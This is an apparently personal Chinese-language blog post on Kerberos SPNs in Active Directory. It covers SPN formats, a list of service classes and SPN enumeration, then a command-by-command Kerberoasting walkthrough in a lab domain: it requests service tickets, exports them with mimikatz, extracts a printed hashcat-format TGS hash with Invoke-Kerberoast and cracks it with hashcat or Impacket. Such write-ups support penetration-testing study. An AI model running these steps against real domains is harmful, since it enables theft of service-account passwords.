Keberos之SPN及其利用

关于SPN

服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。
如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机名称或别名注册 SPN。

SPN 可以分为两种:
注册在域内机器账户(Computers)上
注册在域内用户账户(Users)下

SPN格式与配置

在 SPN 的语法中存在四种元素,两个必须元素和两个额外元素,其中和为必须元素:

<serviceclass>/<host>:<port>/<service name>
<service class>:标识服务类的字符串
<host>:服务所在主机名称
<port>:服务端口
<service name>:服务名称

举例:setspn –A MSSQLSvc/<SQL Server 计算机名称>:1433 <域/帐户>

为sqlsever服务注册SPN

C:\Users\Administrator>setspn -A MSSQLSvc/stu1.god.org:1433 nnullull
为 CN=nnullull,OU=dev,DC=god,DC=org 注册 ServicePrincipalNames
        MSSQLSvc/stu1.god.org:1433
更新的对象

C:\Users\Administrator>

SPN事例

AcronisAgent:针对Acronis备份和数据恢复软件

AdtServer:带有ACS的Microsoft System Center Operations Manager(2007/2012)管理服务器
afpserver:Apple归档协议
AgpmServer:Microsoft高级组策略管理(AGPM)
aradminsvc - 任务主角色服务器
arssvc - 任务主角色服务器
bocms:商业化CMS
BOSSO:商业对象
CESREMOTE:与VMWare上的Citrix VDI解决方案有关,许多VDI工作站都有这个SPN。
cifs:通用Internet文件系统
CmRcService:Microsoft系统中心配置管理器(SCCM)远程控制
CUSESSIONKEYSVR:CiscoUnity VOIP系统
cvs:CVS库
Dfsr :分布式文件系统
DNS:域名服务器
E3514235-4B06-11D1-AB04-00C04FC2DCD2:NTDS DC RPC复制
E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM:ADAM实例
EDVR:ExacqVision服务
exchangeAB:Exchange通讯簿服务(通常是支持NSPI的域控制器,也通常是所有的GC)
exchangeMDB:RPC客户端访问服务器角色
exchangeRFR:交换通讯簿服务
fcsvr:Apple FinalCut Server
FileRepService:WSFileRepService.exe
FIMService:MicrosoftForefront标识管理器(FIM)
ftp:文件传输协议
GC:域控制器全局编录服务
HDFS:Hadoop(Ambari)
host:主机服务代表主机。HOSTSPN用于在创建服务票据时访问由Kerberos协议使用长期密钥的主机帐户。
http:支持Kerberos身份验证的http网络服务的SPN
Hyper-V副本服务:MicrosoftHyper-V的副本服务
IMAP:Internet消息访问协议
IMAP4:Internet消息访问协议版本4
ipp:Internet打印协议
iSCSITarget:iSCSI 配置
kadmin:Kerberos
ldap:LDAP服务,如域控制器或ADAM实例。
Magfs:MaginaticsMagFS
mapred:Cloudera
Microsoft虚拟控制台服务:HyperV主机
Microsoft虚拟系统迁移服务:P2V支持(Hyper-V)
mongod:MongoDBEnterprise
mongos:MongoDBEnterprise
MSClusterVirtualServer:Windows群集服务器
MSOLAPSvc:SQLServer分析服务
MSOLAPSvc.3:SQLServer分析服务
MSOLAPDisco.3:SQLServer分析服务
MSOMHSvc:Microsoft系统中心运营经理(2007/2012)管理服务器
MSOMSdkSvc:MicrosoftSystem Center Operations Manager(2007/2012)管理服务器
MSServerCluster:Windows群集服务器
MSServerClusterMgmtAPI:此群集API需要此SPN才能通过使用Kerberos向服务器进行身份验证
MSSQL:Microsoft SQLServer
MSSQLSvc:MicrosoftSQL Server
MSSQL $ ADOBECONNECT:支持Adobe Connect的Microsoft SQL Server
MSSQL $ BIZTALK:MicrosoftSQL Server支持Microsoft Biztalk服务器
MSSQL $ BUSINESSOBJECTS:支持Business Objects的Microsoft SQL Server
MSSQL $ DB01NETIQ:支持NetIQ的Microsoft SQL Server
nfs:网络文件系统
NPPolicyEvaluator:戴尔Quest审计员
NPRepository 4(CHANGEAUDITOR):戴尔Quest Change Auditor
NPRepository4(CAAD):戴尔Quest审核员
NPRepository4(默认):戴尔任务审计员
NtFrs :NT文件复制服务
oracle:OracleKerberos身份验证
pcast:苹果播客制作人
PCNSCLNT:自动密码同步解决方案(MIIS 2003&FIM)
POP:邮箱协议
POP3:邮箱协议版本3
PVSSoap:Citrix ProvisioningServices(7.1)
RestrictedKrbHost:使用服务类字符串等于“RestrictedKrbHost”的 SPN的服务类,其服务凭单使用计算机帐户密钥并共享会话密钥。
RPC:远程过程调用服务
SAP:SAP /SAPService
SAS:SAS服务器
SCVMM:System Center虚拟机管理器
secshd:IBMInfoSphere
sip:会话启动协议
SMTP:简单邮件传输协议
SMTPSVC:简单邮件传输协议
SoftGrid: Microsoft应用程序虚拟化(App-V)以前的“SoftGrid”
STS:VMWare SSO服务
SQLAgent $ DB01NETIQ:NetIQ的SQL服务
tapinego:与路由应用程序相关联,例如Microsoft防火墙(ISA,TMG等)
TERMSRV:Microsoft远程桌面协议服务,又名终端服务。
tnetd:JuniperKerberos身份验证 “Tnetd是一个守护进程,用于路由引擎和数据包转发引擎等不同组件之间的内部通信”
vmrc:Microsoft VirtualServer 2005
vnc:VNC服务器
VPN:虚拟专用网络
VProRecovery Backup Exec系统恢复代理7.0
VProRecovery Backup Exec系统恢复代理8.0
VProRecovery Backup Exec系统恢复代理9.0
VProRecovery诺顿克隆代理12.0
VProRecovery诺顿
克隆代理14.0 VProRecovery诺顿克隆代理15.0
VProRecovery Symantec系统恢复代理10.0
VProRecovery Symantec系统恢复代理11.0
VProRecovery Symantec系统恢复代理14.0
vssrvc:微软虚拟服务器(2005)
WSMAN:Windows远程管理(基于WS-Management标准)服务
xmpp / XMPP:可扩展消息和呈现协议(Jabber)
xgrid:苹果的分布式(网格)计算/ Mac OS X 10.6服务器管理
YARN:ClouderaMapReduce

SPN扫描

作用

通过spn扫描,我们可以得到一些信息,比如说域内哪些主机安装了哪些服务,这样就可以不用再批量的网络端口扫描,相对于普通的网络端口扫描的优点是不用与服务主机建立链接,且隐蔽性更高。

  • 查询域内SPNsetspn -q */*
C:\Users\liukaifeng01>setspn -q */*
正在检查域 DC=god,DC=org
CN=OWA,OU=Domain Controllers,DC=god,DC=org
        TERMSRV/OWA
        TERMSRV/owa.god.org
        ldap/owa.god.org/ForestDnsZones.god.org
        ldap/owa.god.org/DomainDnsZones.god.org
        NtFrs-88f5d2bd-b646-11d2-a6d3-00c04fc9b232/owa.god.org
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/owa.god.org
        DNS/owa.god.org
        GC/owa.god.org/god.org
        RestrictedKrbHost/owa.god.org
        RestrictedKrbHost/OWA
        HOST/OWA/GOD
        HOST/owa.god.org/GOD
        HOST/OWA
        HOST/owa.god.org
        HOST/owa.god.org/god.org
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/fef2b3c9-4cec-410a-9d24-baba7891c01
4/god.org
        ldap/OWA/GOD
        ldap/fef2b3c9-4cec-410a-9d24-baba7891c014._msdcs.god.org
        ldap/owa.god.org/GOD
        ldap/OWA
        ldap/owa.god.org
        ldap/owa.god.org/god.org
CN=krbtgt,CN=Users,DC=god,DC=org
        kadmin/changepw
CN=ROOT-TVI862UBEH,CN=Computers,DC=god,DC=org
        HOST/ROOT-TVI862UBEH
        HOST/root-tvi862ubeh.god.org
CN=stu1,OU=dev,DC=god,DC=org
        RestrictedKrbHost/STU1
        HOST/STU1
        RestrictedKrbHost/STU1.god.org
        HOST/STU1.god.org

发现存在 SPN!

一: 一般主机的服务后面会省略两个组件,格式为<service class>/<host>
例如:MSSQL/STU1.god.org
二: 如果服务使用非默认端口或者此主机存在多个服务实例的情况下,需要包括端口号或服务名:
MSSQLSvc/STU1.god.org:1433

  • 在指定域中查询
spn -T god.org -q */*
  • 查询域内信息

C:\Users\liukaifeng01>setspn -T god.org -Q */* | findstr "ldap"
        ldap/owa.god.org/ForestDnsZones.god.org
        ldap/owa.god.org/DomainDnsZones.god.org
        ldap/OWA/GOD
        ldap/fef2b3c9-4cec-410a-9d24-baba7891c014._msdcs.god.org
        ldap/owa.god.org/GOD
        ldap/OWA
        ldap/owa.god.org
        ldap/owa.god.org/god.org

GetUserSPNs.sp1

使用Kerberoast工具集中的GetUserSPNs.sp1,可以列出可以被使用的spn

C:\Users\liukaifeng01\Desktop>powershell.exe Import-module .\GetUserSPNs.ps1


ServicePrincipalName : kadmin/changepw
Name                 : krbtgt
SAMAccountName       : krbtgt
MemberOf             : CN=Denied RODC Password Replication Group,CN=Users,DC=go
                       d,DC=org
PasswordLastSet      : 2019/8/24 21:44:23

工具集中还有一个GetUserSPNs.vbs是通过弹窗来显示spn的。
Alt text

PowerView

PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。

PS C:\Users\liukaifeng01\Desktop> Import-Module .\PowerView.ps1
PS C:\Users\liukaifeng01\Desktop> Get-NetUser -SPN


objectsid              : S-1-5-21-2952760202-1353902439-2381784089-502
iscriticalsystemobject : True
samaccounttype         : 805306368
primarygroupid         : 513
instancetype           : 4
badpasswordtime        : 1601/1/1 8:00:00
lastlogoff             : 1601/1/1 8:00:00
whenchanged            : 2019/8/24 14:15:44
badpwdcount            : 0
useraccountcontrol     : 514
usncreated             : 12324
countrycode            : 0
admincount             : 1
objectcategory         : CN=Person,CN=Schema,CN=Configuration,DC=god,DC=org
objectclass            : {top, person, organizationalPerson, user}
logoncount             : 0
lastlogon              : 1601/1/1 8:00:00
serviceprincipalname   : kadmin/changepw
adspath                : LDAP://CN=krbtgt,CN=Users,DC=god,DC=org
dscorepropagationdata  : {2019/8/24 14:16:46, 2019/8/24 14:15:44, 1601/1/1 0:00
                         :00}
distinguishedname      : CN=krbtgt,CN=Users,DC=god,DC=org
cn                     : krbtgt
pwdlastset             : 2019/8/24 21:44:23
objectguid             : 546fcebe-6ca2-4bd6-9978-423fbb9b7922
whencreated            : 2019/8/24 13:44:23
description            : 密钥发行中心服务帐户
samaccountname         : krbtgt
showinadvancedviewonly : True
memberof               : CN=Denied RODC Password Replication Group,CN=Users,DC=
                         god,DC=org
accountexpires         : 9223372036854775807
usnchanged             : 20540
name                   : krbtgt
codepage               : 0

Kerberoasting

在Kerberos认证协议流程中, 可参考我之前的文章,在第四步时,如果解密正确将返回服务hash加密的TGS票据。当我们在获得这个TGS后,我们就可以通过穷举的方式,生成TGS与它进行比较,如果相同,就代表密码正确。

注意事项

  • 当域控查询某一个服务的SPN时

    • 如果该SPN注册在机器账户computers下,将会查询所有机器账户的servicePrincipalName属性,找到所对应的账户。
    • 如果是注册在域用户账户users下,将会查询所有域用户账户的servicePrincipalName属性,找到其所对应的账户。
      找到对应的账户之后,使用它的NTLM hash生成TGS。
  • 域内的所有主机都是可以查询SPN的
  • 域内的任何用户都是可以向域内的任何服务请求TGS

所以,域内的任何一台主机,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接

所以我们的关注点主要就在域用户下注册的SPN

利用

第一种方法,使用mimikatz

使用GetUserSPNs.ps1来查看可用的SPN,发现一个SQLServer服务。

PS C:\Users\NNULLULL\Desktop> Import-module .\GetUserSPNs.ps1


ServicePrincipalName : kadmin/changepw
Name                 : krbtgt
SAMAccountName       : krbtgt
MemberOf             : CN=Denied RODC Password Replication Group,CN=Users,DC=god,DC=org
PasswordLastSet      : 2019/8/24 21:44:23

ServicePrincipalName : MSSQLSvc/stu1.god.ord:1433
Name                 : nnullull
SAMAccountName       : nnullull
MemberOf             :
PasswordLastSet      :

在powershell中向该服务请求TGS。

请求指定票据:

Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/stu1.god.ord:1433"
请求全部票据:
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T medin.local -Q / | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }


PS C:\Users\NNULLULL\Desktop> Add-Type -AssemblyNAme System.IdentityModel
PS C:\Users\NNULLULL\Desktop> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList
SSQLSvc/stu1.god.ord:1433"


Id                   : uuid-3da24fec-fc3b-402e-9ccb-39e4a84e4c92-1
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2020/1/16 6:40:04
ValidTo              : 2020/1/16 16:40:04
ServicePrincipalName : MSSQLSvc/stu1.god.ord:1433
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据。


PS C:\Users\NNULLULL\Desktop> klist

当前登录 ID 是 0:0x4e47e

缓存的票证: (2)

#0>     客户端: liukaifeng01 @ GOD.ORG
        服务器: krbtgt/GOD.ORG @ GOD.ORG
        Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
        票证标志 0x40e00000 -> forwardable renewable initial pre_authent
        开始时间: 1/16/2020 14:40:04 (本地)
        结束时间:   1/17/2020 0:40:04 (本地)
        续订时间: 1/23/2020 14:40:04 (本地)
        会话密钥类型: RSADSI RC4-HMAC(NT)


#1>     客户端: liukaifeng01 @ GOD.ORG
        服务器: MSSQLSvc/stu1.god.ord:1433 @ GOD.ORG
        Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
        票证标志 0x40a00000 -> forwardable renewable pre_authent
        开始时间: 1/16/2020 14:40:04 (本地)
        结束时间:   1/17/2020 0:40:04 (本地)
        续订时间: 1/23/2020 14:40:04 (本地)
        会话密钥类型: RSADSI RC4-HMAC(NT)

使用mimikatz将票据导出
Alt text

后使用kerberoast工具集中的tgsrepcrack.py来爆破服务器密码.
python2 tgsrepcrack.py password.txt 1-40a00000-liukaifeng01@MSSQLSvc~stu1.god.ord~1433-GOD.ORG.kirbi

第二种方法,不使用mimikatz

Invoke-Kerberoast 通过提取票据传输时的原始字节,转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。

使用Invoke-Kerberoast 脚本( Empire 中的 Invoke-Kerberoast.ps1)

Import-module Invoke-Kerberoast.ps1

Invoke-kerberoast -outputformat hashcat |fl


PS C:\Users\liukaifeng01\Desktop> import-module .\Invoke-kerberoast.ps1
PS C:\Users\liukaifeng01\Desktop> Invoke-kerberoast -outputformat hashcat |fl


TicketByteHexStream  :
Hash                 : $krb5tgs$23$*nnullull$god.org$MSSQLSvc/stu1.god.ord:1433*$D4EE77690D7F4D8E888DA9B766A351F5$212
                       1C1DE29E4B23874B6FF6E10AD14F979E381EC4BB6D846597E327797430F199BFD6163AC56238F7C66E45246AC8F3C5
                       6D95F432E774216BF2164A91920CD3056EF1265AC7ED4AA45F0EA9B688689D43B15A9D6533EAAC35BA1768BAF70FC5
                       9F7383BA6C037C868BCC9AD82E484F23C06CBAB822EC798C4191A845433B39C29EC46819E3934FB1676FD0795FD525
                       B59BAD3334BB7529D240F66422EE9F34F9DED2678627DC04138F5A0AD56A41143AEA8C2A4522D0DB00FEFAD2F63756
                       C891B21979091BCD245091D971B6E137C4A3CDC0190F2EA32740D2EBF2FCC37C91CBFCA46BB9FA6FAE4DADE6B21BE6
                       59829C50DD3FD7111CA35CF78F61594E3604F31CB51C106ADA1D5057E7A24EFBB383E2CBBB265E12635A067F847C9C
                       BE6F3876676FCA0A1E8F9F2180B923050EBFAA794BAD951F57A6DDBC56EC6C12A743C3462AA0ACDC8ECE92EC7BD6FD
                       1F0D628390DD0BD3C6C84E8182AB6D315D9B3BE3D0D2A21F6B706E001243D3AB95650335C208725DC8C4B68B3A0EE6
                       D9504B1872E1315896BE2F3EE2C6DDC359888E90C4D4D7357BE8975ED08212E12539A5E90958C913C112371248D530
                       AB072E583FEBFFAB23E9E984DBA15D7EF634EA871F41DD17573493F3B6DB1032EDAC95FD03DDF880A02749EAF7578E
                       A8AB3FF2A53133DA513EEA5B4CD8215C4D7B31512932E81DF32EFAB1F762F8847F6BFAAE0C70C4D3FBFCC57465873B
                       1D12D0C16057326F5783C76A4AA2E01BCCC3D3B394FDD485FB7D0DA40368D82636C7371344620607B1A7C105E9B96C
                       5B68D543D4E5E12F15F7A7A8BDC8A4A3AA0A0D73D6CAF9356E5B0336C5E1B7567916031608D3E8C8FD28879CE27D0E
                       95B17A411EBE832FFE0B8B8F542754F05C166244410C85A8D38A44917A500238C2513BBE402E9DDB01D6586C8082C9
                       4B4BF7EBCAD2616A6E4E533390C6D67EAB71801DBE814DB374782FC80703A73DA667C80CEE803E3D654DABFBCAA7CA
                       306C02A6AFF92610355CEE88D61D7AC0AC207425498781C26A2D7F27B313128BE040EF35B04279F631C4D52DCC9BAE
                       5F12FBB8F21DA0EDEC02438952284CC477264F8F56BF9F10A4CF75516E548AA7D5D0D14BF55183F4C3CC214883B0C0
                       A67EEBA3DD88E70ECD704352E6305EFB084DB6C70B716AFBA78E584826120768A8FB07BA71CE0D4E4FB2D618837177
                       9EEDB267AF65C2EB01659ADBC2F55F888399AE9AE6AA232677A20C45140D06D46E54C0B860E70D746E9052714F635E
                       1802C31D4993B15658CD4F4335C9F836892714AC7749F6BADA4ADD7D450082AF0833D60AB76916CCD3B07AC094807B
                       AB745FAEB0144A30B17EBBC088C413BED3EB0CC70B0E44FCC15946456A8E3105C442C88
SamAccountName       : nnullull
DistinguishedName    : CN=nnullull,CN=Users,DC=god,DC=org
ServicePrincipalName : MSSQLSvc/stu1.god.ord:1433

后使用hashcat64.exe工具进行破解
hashcat64.exe -m 13100 hash.txt password.txt --force
注:hash.txt中去除所有的空格和换行。

方法三,Impacket

使用Impacket工具包中的GetUserSPNs.exe.
注:该工具需要域控ip,以及域中的一个用户名及密码。
GetUserSPNs.exe -request -dc-ip <域控IP> <域名>/<域用户>
输入当前域用户的密码,即可的到票据。
同样使用hashcat对票据进行爆破即可。

参考链接:
https://www.cnblogs.com/wuxinmengyi/p/11601351.html
https://www.freebuf.com/articles/system/196434.html
https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md
https://www.cnblogs.com/wuxinmengyi/p/11601357.html
https://loong716.top/2019/12/28/Kerberoasting.html

最后修改:2020 年 06 月 17 日 02 : 37 PM
如果觉得我的文章对你有用,请随意赞赏